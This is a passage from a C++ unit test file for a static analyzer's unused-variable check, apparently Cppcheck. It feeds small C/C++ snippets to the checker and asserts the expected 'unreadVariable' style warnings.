&c;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct B * foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" struct B * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"const struct B * foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" const struct B * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar16() { // ticket #1709\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[5];\\n\"\n \" char *ptr = buf;\\n\"\n \" *(ptr++) = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'buf' is assigned a value that is never used.\\n\", \"\", errout_str());\n\n // #3910\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf[5];\\n\"\n \" char *data[2];\\n\"\n \" data[0] = buf;\\n\"\n \" do_something(data);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf1[5];\\n\"\n \" char buf2[5];\\n\"\n \" char *data[2];\\n\"\n \" data[0] = buf1;\\n\"\n \" data[1] = buf2;\\n\"\n \" do_something(data);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar17() { // ticket #1720\n // extracttests.disable\n // Don't crash when checking the code below!\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct DATA *data = DATA;\\n\"\n \" char *k = data->req;\\n\"\n \" char *ptr;\\n\"\n \" char *line_start;\\n\"\n \" ptr = data->buffer;\\n\"\n \" line_start = ptr;\\n\"\n \" data->info = k;\\n\"\n \" line_start = ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:16]: (style) Variable 'line_start' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n // extracttests.enable\n }\n\n void localvar18() { // ticket #1723\n functionVariableUsage(\"A::A(int iValue) {\\n\"\n \" UserDefinedException* pe = new UserDefinedException();\\n\"\n \" throw pe;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar19() { // ticket #1776\n functionVariableUsage(\"void foo() {\\n\"\n \" int a[10];\\n\"\n \" int c;\\n\"\n \" c = *(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:9]: (style) Variable 'a' is not assigned a value. [unassignedVariable]\\n\", errout_str());\n }\n\n void localvar20() { // ticket #1799\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char c1 = 'c';\\n\"\n \" char c2[] = { c1 };\\n\"\n \" a(c2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar21() { // ticket #1807\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buffer[1024];\\n\"\n \" bar((void *)buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar22() { // ticket #1811\n functionVariableUsage(\"int foo(int u, int v)\\n\"\n \"{\\n\"\n \" int h, i;\\n\"\n \" h = 0 ? u : v;\\n\"\n \" i = 1 ? u : v;\\n\"\n \" return h + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar23() { // ticket #1808\n functionVariableUsage(\"int foo(int c)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b[10];\\n\"\n \" a = b[c] = 0;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Variable 'b[c]' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar24() { // ticket #1803\n functionVariableUsage(\"class MyException\\n\"\n \"{\\n\"\n \" virtual void raise() const\\n\"\n \" {\\n\"\n \" throw *this;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar25() { // ticket #1729\n functionVariableUsage(\"int main() {\\n\"\n \" int ppos = 1;\\n\"\n \" int pneg = 0;\\n\"\n \" const char*edge = ppos? \\\" +\\\" : pneg ? \\\" -\\\" : \\\"\\\";\\n\"\n \" printf(\\\"This should be a '+' -> %s\\\\n\\\", edge);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar26() { // ticket #1894\n functionVariableUsage(\"int main() {\\n\"\n \" const Fred &fred = getfred();\\n\"\n \" int *p = fred.x();\\n\"\n \" *p = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar27() { // ticket #2160\n functionVariableUsage(\"void f(struct s *ptr) {\\n\"\n \" int param = 1;\\n\"\n \" ptr->param = param++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Variable 'param' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar28() { // ticket #2205\n functionVariableUsage(\"void f(char* buffer, int value) {\\n\"\n \" char* pos = buffer;\\n\"\n \" int size = value;\\n\"\n \" *(int*)pos = size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar29() { // ticket #2206\n functionVariableUsage(\"void f() {\\n\"\n \" float s_ranges[] = { 0, 256 };\\n\"\n \" float* ranges[] = { s_ranges };\\n\"\n \" cout << ranges[0][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar30() { // ticket #2264\n functionVariableUsage(\"void f() {\\n\"\n \" Engine *engine = e;\\n\"\n \" x->engine = engine->clone();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar31() { // ticket #2286\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" a.x = x - b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar32() {\n // ticket #2330 - fstream >> x\n functionVariableUsage(\"void f() {\\n\"\n \" int x;\\n\"\n \" fstream &f = getfile();\\n\"\n \" f >> x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #4596 - if (c >>= x) {}\n functionVariableUsage(\"void f(int x) {\\n\"\n \" C c;\\n\" // possibly some stream class\n \" if (c >>= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (information) --check-library: Provide configuration for C [checkLibraryCheckType]\\n\", errout_str());\n\n functionVariableUsage(\"void f(int x) {\\n\"\n \" C c;\\n\"\n \" if (c >>= x) {}\\n\"\n \"}\", dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:11]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" int x, y;\\n\"\n \" std::cin >> x >> y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #8494\n functionVariableUsage(\"void f(C c) {\\n\"\n \" int x;\\n\"\n \" c & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar33() { // ticket #2345\n functionVariableUsage(\"void f() {\\n\"\n \" Abc* abc = getabc();\\n\"\n \" while (0 != (abc = abc->next())) {\\n\"\n \" ++nOldNum;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar34() { // ticket #2368\n functionVariableUsage(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" if (false) {\\n\"\n \" } else {\\n\"\n \" j -= i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar35() { // ticket #2535\n functionVariableUsage(\"void f() {\\n\"\n \" int a, b;\\n\"\n \" x(1,a,b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar36() { // ticket #2805\n functionVariableUsage(\"int f() {\\n\"\n \" int a, b;\\n\"\n \" a = 2 * (b = 3);\\n\"\n \" return a + b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\" // ticket #4318\n \" int a,b;\\n\"\n \" x(a, b=2);\\n\" // <- if param2 is passed-by-reference then b might be used in x\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\" // ticket #6147\n \" int a = 0;\\n\"\n \" bar(a=a+2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\" // ticket #6147\n \" int a = 0;\\n\"\n \" bar(a=2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n functionVariableUsage(\"void bar(int);\\n\"\n \"int foo() {\\n\"\n \" int a = 0;\\n\"\n \" bar(a=a+2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void localvar37() { // ticket #3078\n functionVariableUsage(\"void f() {\\n\"\n \" int a = 2;\\n\"\n \" ints.at(a) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar38() {\n functionVariableUsage(\"std::string f() {\\n\"\n \" const char code[] = \\\"foo\\\";\\n\"\n \" const std::string s1(sizeof_(code));\\n\"\n \" const std::string s2 = sizeof_(code);\\n\"\n \" return(s1+s2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar39() {\n functionVariableUsage(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" foo(x*a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar40() {\n functionVariableUsage(\"int f() {\\n\"\n \" int a = 1;\\n\"\n \" return x & a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar41() {\n // #3603 - false positive 'x is assigned a value that is never used'\n functionVariableUsage(\"int f() {\\n\"\n \" int x = 1;\\n\"\n \" int y = FOO::VALUE * x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar42() { // #3742\n functionVariableUsage(\"float g_float = 1;\\n\"\n \"extern void SomeTestFunc(float);\\n\"\n \"void MyFuncError()\\n\"\n \"{\\n\"\n \" const float floatA = 2.2f;\\n\"\n \" const float floatTot = g_float * floatA;\\n\"\n \" SomeTestFunc(floatTot);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"float g_float = 1;\\n\"\n \"extern void SomeTestFunc(float);\\n\"\n \"void MyFuncNoError()\\n\"\n \"{\\n\"\n \" const float floatB = 2.2f;\\n\"\n \" const float floatTot = floatB * g_float;\\n\"\n \" SomeTestFunc(floatTot);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"float g_float = 1;\\n\"\n \"extern void SomeTestFunc(float);\\n\"\n \"void MyFuncNoError2()\\n\"\n \"{\\n\"\n \" const float floatC = 2.2f;\\n\"\n \" float floatTot = g_float * floatC;\\n\"\n \" SomeTestFunc(floatTot);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar43() { // ticket #3602 (false positive)\n functionVariableUsage(\"void bar()\\n\"\n \"{\\n\"\n \" int * piArray = NULL;\\n\"\n \" unsigned int uiArrayLength = 2048;\\n\"\n \" unsigned int uiIndex;\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" piArray = new int[uiArrayLength];\\n\" // Allocate memory\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" SOME_MACRO\\n\"\n \" delete [] piArray;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" for (uiIndex = 0; uiIndex < uiArrayLength; uiIndex++)\\n\"\n \" {\\n\"\n \" piArray[uiIndex] = -1234;\\n\"\n \" }\\n\"\n \" delete [] piArray;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\" // #9877\n \" const std::vector x = get();\\n\"\n \" MACRO(2U, x.size())\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar44() { // #4020 - FP\n functionVariableUsage(\"void func() {\\n\"\n \" int *sp_mem[2] = { global1, global2 };\\n\"\n \" sp_mem[0][3] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar45() { // #4899 - FP\n functionVariableUsage(\"int func() {\\n\"\n \" int a = 123;\\n\"\n \" int b = (short)-a;;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar46() { // #5491/#5494/#6301\n functionVariableUsage(\"int func() {\\n\"\n \" int i = 0;\\n\"\n \" int j{i};\\n\"\n \" return j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(bool b, bool c, double& r) {\\n\"\n \" double d{};\\n\"\n \" if (b) {\\n\"\n \" d = g();\\n\"\n \" r += d;\\n\"\n \" }\\n\"\n \" if (c) {\\n\"\n \" d = h();\\n\"\n \" r += d;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int func() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock l{ m };\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int func() {\\n\"\n \" std::shared_lock lock( m );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10490\n \" std::shared_lock lock = GetLock();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" auto&& g = std::lock_guard { mutex };\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:2:14]: (style) Variable 'g' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" auto a = RAII();\\n\"\n \" auto b { RAII() };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct RAIIWrapper {\\n\" // #10894\n \" RAIIWrapper();\\n\"\n \" ~RAIIWrapper();\\n\"\n \"};\\n\"\n \"static void foo() {\\n\"\n \" auto const guard = RAIIWrapper();\\n\"\n \" auto const& guard2 = RAIIWrapper();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar47() { // #6603\n // extracttests.disable\n functionVariableUsage(\"void f() {\\n\"\n \" int (SfxUndoManager::*retrieveCount)(bool) const\\n\"\n \" = (flag) ? &SfxUndoManager::foo : &SfxUndoManager::bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'retrieveCount' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n // extracttests.enable\n }\n\n void localvar48() { // #6954\n functionVariableUsage(\"void foo() {\\n\"\n \" long (*pKoeff)[256] = new long[9][256];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar49() { // #7594\n functionVariableUsage(\"class A {\\n\"\n \" public:\\n\"\n \" typedef enum { ID1,ID2,ID3 } Id_t;\\n\"\n \" typedef struct {Id_t id; std::string a; } x_t;\\n\"\n \" std::vector m_vec;\\n\"\n \" std::vector Get(void);\\n\"\n \" void DoSomething();\\n\"\n \"};\\n\"\n \"std::vector A::Get(void) {\\n\"\n \" return m_vec;\\n\"\n \"}\\n\"\n \"const std::string Bar() {\\n\"\n \" return \\\"x\\\";\\n\"\n \"}\\n\"\n \"void A::DoSomething(void) {\\n\"\n \" const std::string x = Bar();\\n\" // <- warning\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:16:25]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:16:23]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n }\n\n void localvar50() { // #6261, #6542\n // #6261 - ternary operator in function call\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf1[10];\\n\"\n \" dostuff(cond?buf1:buf2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf1[10];\\n\"\n \" dostuff(cond?buf2:buf1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6542 - ternary operator\n functionVariableUsage(\"void foo(int c) {\\n\"\n \" char buf1[10], buf2[10];\\n\"\n \" char *p = c ? buf1 : buf2;\\n\"\n \" dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar51() { // #8128 FN\n // extracttests.start: struct Token { const Token* next() const; }; const Token* nameToken();\n functionVariableUsage(\"void foo(const Token *var) {\\n\"\n \" const Token *tok = nameToken();\\n\"\n \" tok = tok->next();\\n\" // read+write\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Variable 'tok' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" int x = 4;\\n\"\n \" x = 15 + x;\\n\" // read+write\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar52() {\n functionVariableUsage(\"void foo() {\\n\"\n \" std::vector data;\\n\"\n \" data[2] = 32;\\n\"\n \" return data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar53() {\n functionVariableUsage(\"void foo(int a, int loop) {\\n\"\n \" bool x = false;\\n\"\n \" while (loop) {\\n\"\n \" if (a) {\\n\"\n \" x = true;\\n\" // unused value\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int a, int loop) {\\n\"\n \" bool x = false;\\n\"\n \" while (loop) {\\n\"\n \" if (a) {\\n\"\n \" x = true;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar54() {\n functionVariableUsage(\"Padding fun() {\\n\"\n \" Distance d = DISTANCE;\\n\"\n \" return (Padding){ d, d, d, d };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar55() {\n functionVariableUsage(\"void f(int mode) {\\n\"\n \" int x = 0;\\n\" // <- redundant assignment\n \"\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" if (mode == 0x04)\\n\"\n \" x = 0;\\n\" // <- redundant assignment\n \" if (mode == 0x0f) {\\n\"\n \" x = address;\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:6:15]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvar56() {\n functionVariableUsage(\"void f()\\n\"\n \"{\\n\"\n \" int x = 31;\\n\"\n \" mask[x] |= 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar57() {\n functionVariableUsage(\"void f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar58() { // #9901 - increment false positive\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (--x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (x-- > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar59() { // #9737\n functionVariableUsage(\"Response foo() {\\n\"\n \" const std::vector cmanifest = z;\\n\"\n \" return {.a = cmanifest, .b =0};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar60() {\n functionVariableUsage(\"void Scale(double scale) {\\n\" // #10531\n \" for (int i = 0; i < m_points.size(); ++i) {\\n\"\n \" auto& p = m_points[i];\\n\"\n \" p += scale;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int c[]) {\\n\" // #10597\n \" int& cc = c[0];\\n\"\n \" cc &= ~0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar61() { // #9407\n functionVariableUsage(\"void g(int& i);\\n\"\n \"void f() {\\n\"\n \" int var = 0;\\n\"\n \" g(var);\\n\"\n \" var = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Variable 'var' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar62() {\n functionVariableUsage(\"void f() {\\n\" // #10824\n \" S* s = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" S* s{};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\"\n \" int i = 0, j = 1;\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:16]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int f() {\\n\"\n \" int i = 0, j = 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10846\n \" int i = 1; while (i) { i = g(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar63() { // #6928\n functionVariableUsage(\"void f(void) {\\n\"\n \" int x=3;\\n\" // <- set but not used\n \" goto y;\\n\"\n \" y:return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar64() { // #9997\n functionVariableUsage(\"class S {\\n\"\n \" ~S();\\n\"\n \" S* f();\\n\"\n \" S* g(int);\\n\"\n \"};\\n\"\n \"void h(S* s, bool b) {\\n\"\n \" S* p = nullptr;\\n\"\n \" S* q = nullptr;\\n\"\n \" if (b) {\\n\"\n \" p = s;\\n\"\n \" q = s->f()->g(-2);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" q = s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:11:11]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:14:11]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvar65() {\n functionVariableUsage(\"bool b();\\n\" // #9876\n \"void f() {\\n\"\n \" for (;;) {\\n\"\n \" const T* t = tok->next()->link()->next();\\n\"\n \" if (!b())\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 't' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10006\n \" std::string s = \\\"\\\";\\n\"\n \" try {}\\n\"\n \" catch (...) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar66() { // #11143\n functionVariableUsage(\"void f() {\\n\"\n \" double phi = 42.0;\\n\"\n \" std::cout << pow(sin(phi), 2) + pow(cos(phi), 2) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar67() { // #9946\n functionVariableUsage(\"struct B {\\n\"\n \" virtual ~B() {}\\n\"\n \" bool operator() () const { return true; }\\n\"\n \" virtual bool f() const = 0;\\n\"\n \"};\\n\"\n \"class D : B {\\n\"\n \"public:\\n\"\n \" bool f() const override { return false; }\\n\"\n \"};\\n\"\n \"void f1() {\\n\"\n \" const D d1;\\n\"\n \" d1.f();\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" const D d2;\\n\"\n \" d2();\\n\"\n \" B() {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar68() {\n checkFunctionVariableUsageP(\"#define X0 int x = 0\\n\"\n \"void f() { X0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkFunctionVariableUsageP(\"#define X0 int (*x)(int) = 0\\n\"\n \"void f() { X0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar69() {\n functionVariableUsage(\"int g();\\n\" // #11063\n \"int h(int);\\n\"\n \"int f() {\\n\"\n \" int i = g();\\n\"\n \" return (::h)(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar70() {\n functionVariableUsage(\"struct S { int i = 0; };\\n\" // #12176\n \"void f(S s) {\\n\"\n \" S s1;\\n\"\n \" if (s == s1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar71() {\n functionVariableUsage(\"struct A { explicit A(int i); };\\n\" // #12363\n \"void f() { A a(0); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarloops() {\n // loops\n functionVariableUsage(\"void fun(int c) {\\n\"\n \" int x;\\n\"\n \" while (c) { x=10; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void dostuff(int x);\\n\"\n \"void fun(int y, int c) {\\n\"\n \" int x = 1;\\n\"\n \" while (c) {\\n\"\n \" dostuff(x);\\n\"\n \" if (y) { x=10; break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void dostuff(int &x);\\n\"\n \"void fun() {\\n\"\n \" int x = 1;\\n\"\n \" while (c) {\\n\"\n \" dostuff(x);\\n\"\n \" if (y) { x=10; break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void fun() {\\n\"\n \" int x = 0;\\n\"\n \" while (c) {\\n\"\n \" dostuff(x);\\n\"\n \" x = 10;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void fun() {\\n\"\n \" int x = 0;\\n\"\n \" while (x < 10) { x = x + 1; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void fun()\\n\"\n \"{\\n\"\n \" int status = 0;\\n\"\n \" for (ind = 0; ((ind < nrArgs) && (status < 10)); ind++)\\n\"\n \" status = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f()\\n\"\n \"{\\n\"\n \" int sum = 0U;\\n\"\n \" for (i = 0U; i < 2U; i++)\\n\"\n \" sum += 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Variable 'sum' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:13]: (style) Variable 'sum' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f(int c) {\\n\" // #7908\n \" int b = 0;\\n\"\n \" while (g()) {\\n\"\n \" int a = c;\\n\"\n \" b = a;\\n\"\n \" if (a == 4)\\n\"\n \" a = 5;\\n\"\n \" }\\n\"\n \" h(b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f(const std::vector& v) {\\n\"\n \" while (g()) {\\n\"\n \" const 